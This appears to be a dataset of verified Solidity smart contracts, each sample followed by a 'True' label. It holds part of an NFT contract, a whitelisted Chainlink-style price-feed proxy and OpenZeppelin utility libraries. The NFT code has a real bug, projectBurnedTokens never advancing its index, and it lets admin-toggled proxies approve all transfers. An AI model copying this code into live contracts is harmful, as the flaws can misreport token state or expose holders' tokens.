transferContract = projects[_projectId].transferContract;
acceptsMintPass = projects[_projectId].acceptsMintPass;
mintPassProjectId = projects[_projectId].mintPassProjectId;
}
function projectBurnedTokens(uint256 _projectId)
public
view
returns (uint256[] memory)
{
uint256 burnedIndex;
uint256 burnedTokenId;
uint256 projectBurnedCount = projectBurnedTokensCount(_projectId);
uint256[] memory burnedTokenIds = new uint256[](projectBurnedCount);
uint256 burnedTokenLength = burnedTokens.length;
for (uint256 i; i < burnedTokenLength; i++) {
burnedTokenId = burnedTokens[i];
if (tokenIdToProjectId(burnedTokenId) == _projectId) {
burnedTokenIds[burnedIndex] = burnedTokenId;
}
}
return burnedTokenIds;
}
function projectScriptInfo(uint256 _projectId)
public
view
returns (
string memory scriptJSON,
uint256 scriptCount,
bool useHashString,
string memory ipfsHash,
bool locked,
bool paused
)
{
scriptJSON = projects[_projectId].scriptJSON;
scriptCount = projects[_projectId].scriptCount;
useHashString = projects[_projectId].useHashString;
ipfsHash = projects[_projectId].ipfsHash;
locked = projects[_projectId].locked;
paused = projects[_projectId].paused;
}
function projectScriptByIndex(uint256 _projectId, uint256 _index)
public
view
returns (string memory)
{
return projects[_projectId].scripts[_index];
}
function projectURIInfo(uint256 _projectId)
public
view
returns (
string memory projectBaseURI,
string memory projectBaseIpfsURI,
bool useIpfs
)
{
projectBaseURI = projects[_projectId].projectBaseURI;
projectBaseIpfsURI = projects[_projectId].projectBaseIpfsURI;
useIpfs = projects[_projectId].useIpfs;
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public override {
_transfer(_from, _to, _tokenId);
}
function _beforeTokenTransfers(
address _from,
address _to,
uint256 _tokenId,
uint256 _quantity
) internal view override {
//check if custom transfer contract, if so, send call.
if (
projects[tokenIdToProjectId(_tokenId)].transferContract !=
address(0)
) {
NtentTransfer ntentTransfer = NtentTransfer(
projects[tokenIdToProjectId(_tokenId)].transferContract
);
ntentTransfer.onTransfer(_from, _to, _tokenId, _quantity);
}
}
function bulkTransfer(
address[] calldata _addressList,
uint256[] calldata _tokenList
) public onlyAdmin {
uint256 addressLength = _addressList.length;
uint256 tokenLength = _tokenList.length;
require(addressLength > 0, "Address quantity must greater than zero");
require(
addressLength == tokenLength,
"Token quantity must equal address quantity"
);
for (uint256 i; i < addressLength; i++) {
address _toAddress = _addressList[i];
uint256 _tokenId = _tokenList[i];
safeTransferFrom(msg.sender, _toAddress, _tokenId);
}
}
function projectShowAllTokens(uint256 _projectId)
public
view
returns (uint256[] memory)
{
return projectIdToTokenIds(_projectId);
}
function projectIdToTokenIds(uint256 _projectId)
public
view
returns (uint256[] memory)
{
uint256 tId;
uint256 tokenId;
uint256 projTokenLength = projects[_projectId].invocations;
uint256 projectBurnedCount = projectBurnedTokensCount(_projectId);
uint256[] memory projectTokens = new uint256[](
projTokenLength - projectBurnedCount
);
for (uint256 i; i < projTokenLength; i++) {
tokenId = (_projectId * ONE_MILLION) + i;
if (isBurned(tokenId) == false) {
projectTokens[tId] = tokenId;
tId++;
}
}
return projectTokens;
}
function projectBurnedTokensCount(uint256 _projectId)
public
view
returns (uint256)
{
uint256 tokenId;
uint256 count;
uint256 burnedTokenLength = burnedTokens.length;
for (uint256 i; i < burnedTokenLength; i++) {
tokenId = burnedTokens[i];
if (tokenIdToProjectId(tokenId) == _projectId) {
count++;
}
}
return count;
}
//example input : 1000004
function tokenIdToProjectId(uint256 _tokenId)
public
pure
returns (uint256)
{
//convert to string and reverse
string memory reversed = _tokenId.toString().reverse();
//chop off reversed project id from end, reverse back
string memory strProjectId = reversed
.substring(6, reversed.stringLength())
.reverse();
return strProjectId.str2int();
}
function tokensOfOwner(address owner)
public
view
returns (uint256[] memory)
{
uint256 ownerBalance = balanceOf(owner);
uint256 foundCount;
address currOwnershipAddr;
uint256[] memory ownerTokenIds = new uint256[](ownerBalance);
// Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i = startProjectId; i < nextProjectId; i++) {
uint256[] memory projectTokens = projectIdToTokenIds(i);
for (uint256 ii; ii < projectTokens.length; ii++) {
uint256 tokenId = projectTokens[ii];
TokenOwnership memory ownership = _ownerships[tokenId];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
ownerTokenIds[foundCount] = tokenId;
foundCount++;
}
if (foundCount == ownerBalance) {
return ownerTokenIds;
}
}
}
}
revert UnableGetTokenOwnerByIndex();
}
function tokenURI(uint256 _tokenId)
public
view
override
onlyValidTokenId(_tokenId)
returns (string memory)
{
//check if custom tokenUri contract, if so, use that.
if (
projects[tokenIdToProjectId(_tokenId)].tokenUriContract !=
address(0)
) {
NtentTokenUri ntentTokenUri = NtentTokenUri(
projects[tokenIdToProjectId(_tokenId)].tokenUriContract
);
//if returned tokenUri is not empty, else continue
string memory tUri = ntentTokenUri.tokenUri(_tokenId);
if(bytes(tUri).length > 0)
return tUri;
}
//check if tokenId has a specified image link
if (bytes(staticIpfsImageLink[_tokenId]).length > 0) {
return
projects[tokenIdToProjectId(_tokenId)]
.projectBaseIpfsURI
.concatenate(staticIpfsImageLink[_tokenId]);
}
//check if the project has a single overall token Uri (mintpass, etc)
if (
!projects[tokenIdToProjectId(_tokenId)].dynamic &&
projects[tokenIdToProjectId(_tokenId)].useIpfs
) {
return
projects[tokenIdToProjectId(_tokenId)]
.projectBaseIpfsURI
.concatenate(
projects[tokenIdToProjectId(_tokenId)].ipfsHash
);
}
return
projects[tokenIdToProjectId(_tokenId)].projectBaseURI.concatenate(
_tokenId.toString()
);
}
/**
* Royalties
*/
function updateRoyalties(address payable recipient, uint256 bps)
external
onlyRainbowlisted
{
_royaltyRecipient = recipient;
_royaltyBps = bps;
}
function getRoyalties(uint256)
external
view
returns (address payable[] memory recipients, uint256[] memory bps)
{
if (_royaltyRecipient != address(0x0)) {
recipients = new address payable[](1);
recipients[0] = _royaltyRecipient;
bps = new uint256[](1);
bps[0] = _royaltyBps;
}
return (recipients, bps);
}
function getFeeRecipients(uint256)
external
view
returns (address payable[] memory recipients)
{
if (_royaltyRecipient != address(0x0)) {
recipients = new address payable[](1);
recipients[0] = _royaltyRecipient;
}
return recipients;
}
function getFeeBps(uint256) external view returns (uint256[] memory bps) {
if (_royaltyRecipient != address(0x0)) {
bps = new uint256[](1);
bps[0] = _royaltyBps;
}
return bps;
}
function royaltyInfo(uint256, uint256 value)
external
view
returns (address, uint256)
{
return (_royaltyRecipient, (value * _royaltyBps) / 10000);
}
/**
* Proxy
*/
function flipProxyState(address proxyAddress) public onlyRainbowlisted{
proxyToApproved[proxyAddress] = !proxyToApproved[proxyAddress];
}
//proxy registration
function isApprovedForAll(address _owner, address _operator) public view override returns (bool){
if(proxyToApproved[_operator]) return true;
return super.isApprovedForAll(_owner, _operator);
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
uint256 tokenIdsIdx;
// Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i = startProjectId; i < nextProjectId; i++) {
uint256[] memory projectTokens = projectIdToTokenIds(i);
for (uint256 ii; ii < projectTokens.length; ii++) {
uint256 tokenId = projectTokens[ii];
TokenOwnership memory ownership = _ownerships[tokenId];
if (!ownership.burned) {
if (tokenIdsIdx == index) {
return tokenId;
}
tokenIdsIdx++;
}
}
}
}
revert UnableGetTokenOwnerByIndex();
}
function tokenOfOwnerByIndex(address owner, uint256 index) public override view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return tokensOfOwner(owner)[index];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-05-11
*/
pragma solidity 0.6.2;
contract Owned {
address payable public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
contract Whitelisted is Owned {
bool public whitelistEnabled;
mapping(address => bool) public whitelisted;
event AddedToWhitelist(address user);
event RemovedFromWhitelist(address user);
event WhitelistEnabled();
event WhitelistDisabled();
constructor()
public
{
whitelistEnabled = true;
}
/**
* @notice Adds an address to the whitelist
* @param _user The address to whitelist
*/
function addToWhitelist(address _user) external onlyOwner() {
whitelisted[_user] = true;
emit AddedToWhitelist(_user);
}
/**
* @notice Removes an address from the whitelist
* @param _user The address to remove
*/
function removeFromWhitelist(address _user) external onlyOwner() {
delete whitelisted[_user];
emit RemovedFromWhitelist(_user);
}
/**
* @notice makes the whitelist check enforced
*/
function enableWhitelist()
external
onlyOwner()
{
whitelistEnabled = true;
emit WhitelistEnabled();
}
/**
* @notice makes the whitelist check unenforced
*/
function disableWhitelist()
external
onlyOwner()
{
whitelistEnabled = false;
emit WhitelistDisabled();
}
/**
* @dev reverts if the caller is not whitelisted
*/
modifier isWhitelisted() {
require(whitelisted[msg.sender] || !whitelistEnabled, "Not whitelisted");
_;
}
}
interface HistoricAggregatorInterface {
function latestAnswer() external returns (int256);
function latestTimestamp() external returns (uint256);
function latestRound() external returns (uint256);
function getAnswer(uint256 roundId) external returns (int256);
function getTimestamp(uint256 roundId) external returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorInterface is HistoricAggregatorInterface {
function decimals() external returns (uint8);
function getRoundData(uint256 _roundId)
external
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
);
function latestRoundData()
external
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
);
}
contract AggregatorProxy is AggregatorInterface, Owned {
AggregatorInterface public aggregator;
constructor(address _aggregator) public Owned() {
setAggregator(_aggregator);
}
/**
* @notice Reads the current answer from aggregator delegated to.
*/
function latestAnswer()
external
virtual
override
returns (int256)
{
return _latestAnswer();
}
/**
* @notice Reads the last updated height from aggregator delegated to.
*/
function latestTimestamp()
external
virtual
override
returns (uint256)
{
return _latestTimestamp();
}
/**
* @notice get past rounds answers
* @param _roundId the answer number to retrieve the answer for
*/
function getAnswer(uint256 _roundId)
external
virtual
override
returns (int256)
{
return _getAnswer(_roundId);
}
/**
* @notice get block timestamp when an answer was last updated
* @param _roundId the answer number to retrieve the updated timestamp for
*/
function getTimestamp(uint256 _roundId)
external
virtual
override
returns (uint256)
{
return _getTimestamp(_roundId);
}
/**
* @notice get the latest completed round where the answer was updated
*/
function latestRound()
external
virtual
override
returns (uint256)
{
return _latestRound();
}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* Note that different underlying implementations of AggregatorInterface
* have slightly different semantics for some of the return values. Consumers
* should determine what implementations they expect to receive
* data from and validate that they can properly handle return data from all
* of them.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started.
* (Only some AggregatorInterface implementations return meaningful values)
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed.
* (Only some AggregatorInterface implementations return meaningful values)
* @dev Note that answer and updatedAt may change between queries.
*/
function getRoundData(uint256 _roundId)
external
virtual
override
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
)
{
return _getRoundData(_roundId);
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* Note that different underlying implementations of AggregatorInterface
* have slightly different semantics for some of the return values. Consumers
* should determine what implementations they expect to receive
* data from and validate that they can properly handle return data from all
* of them.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started.
* (Only some AggregatorInterface implementations return meaningful values)
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed.
* (Only some AggregatorInterface implementations return meaningful values)
* @dev Note that answer and updatedAt may change between queries.
*/
function latestRoundData()
external
virtual
override
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
)
{
return _latestRoundData();
}
/**
* @notice represents the number of decimals the aggregator responses represent.
*/
function decimals()
external
override
returns (uint8)
{
return aggregator.decimals();
}
/**
* @notice Allows the owner to update the aggregator address.
* @param _aggregator The new address for the aggregator contract
*/
function setAggregator(address _aggregator)
public
onlyOwner()
{
aggregator = AggregatorInterface(_aggregator);
}
/*
* Internal
*/
function _latestAnswer()
internal
returns (int256)
{
return aggregator.latestAnswer();
}
function _latestTimestamp()
internal
returns (uint256)
{
return aggregator.latestTimestamp();
}
function _getAnswer(uint256 _roundId)
internal
returns (int256)
{
return aggregator.getAnswer(_roundId);
}
function _getTimestamp(uint256 _roundId)
internal
returns (uint256)
{
return aggregator.getTimestamp(_roundId);
}
function _latestRound()
internal
returns (uint256)
{
return aggregator.latestRound();
}
function _getRoundData(uint256 _roundId)
internal
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
)
{
return aggregator.getRoundData(_roundId);
}
function _latestRoundData()
internal
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
)
{
return aggregator.latestRoundData();
}
}
contract WhitelistedAggregatorProxy is AggregatorProxy, Whitelisted {
constructor(address _aggregator) public AggregatorProxy(_aggregator) {
}
/**
* @notice Reads the current answer from aggregator delegated to.
* @dev overridden function to add the isWhitelisted() modifier
*/
function latestAnswer()
external
override
isWhitelisted()
returns (int256)
{
return _latestAnswer();
}
/**
* @notice Reads the last updated height from aggregator delegated to.
* @dev overridden function to add the isWhitelisted() modifier
*/
function latestTimestamp()
external
override
isWhitelisted()
returns (uint256)
{
return _latestTimestamp();
}
/**
* @notice get past rounds answers
* @param _roundId the answer number to retrieve the answer for
* @dev overridden function to add the isWhitelisted() modifier
*/
function getAnswer(uint256 _roundId)
external
override
isWhitelisted()
returns (int256)
{
return _getAnswer(_roundId);
}
/**
* @notice get block timestamp when an answer was last updated
* @param _roundId the answer number to retrieve the updated timestamp for
* @dev overridden function to add the isWhitelisted() modifier
*/
function getTimestamp(uint256 _roundId)
external
override
isWhitelisted()
returns (uint256)
{
return _getTimestamp(_roundId);
}
/**
* @notice get the latest completed round where the answer was updated
* @dev overridden function to add the isWhitelisted() modifier
*/
function latestRound()
external
override
isWhitelisted()
returns (uint256)
{
return _latestRound();
}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* Note that different underlying implementations of AggregatorInterface
* have slightly different semantics for some of the return values. Consumers
* should determine what implementations they expect to receive
* data from and validate that they can properly handle return data from all
* of them.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started.
* (Only some AggregatorInterface implementations return meaningful values)
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed.
* (Only some AggregatorInterface implementations return meaningful values)
* @dev Note that answer and updatedAt may change between queries.
*/
function getRoundData(uint256 _roundId)
external
isWhitelisted()
override
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
)
{
return _getRoundData(_roundId);
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt and
* answeredInRound return values.
* Note that different underlying implementations of AggregatorInterface
* have slightly different semantics for some of the return values. Consumers
* should determine what implementations they expect to receive
* data from and validate that they can properly handle return data from all
* of them.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is the timestamp when the round was started.
* (Only some AggregatorInterface implementations return meaningful values)
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is the round ID of the round in which the answer
* was computed.
* (Only some AggregatorInterface implementations return meaningful values)
* @dev Note that answer and updatedAt may change between queries.
*/
function latestRoundData()
external
isWhitelisted()
override
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
)
{
return _latestRoundData();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-27
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: IWETH
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
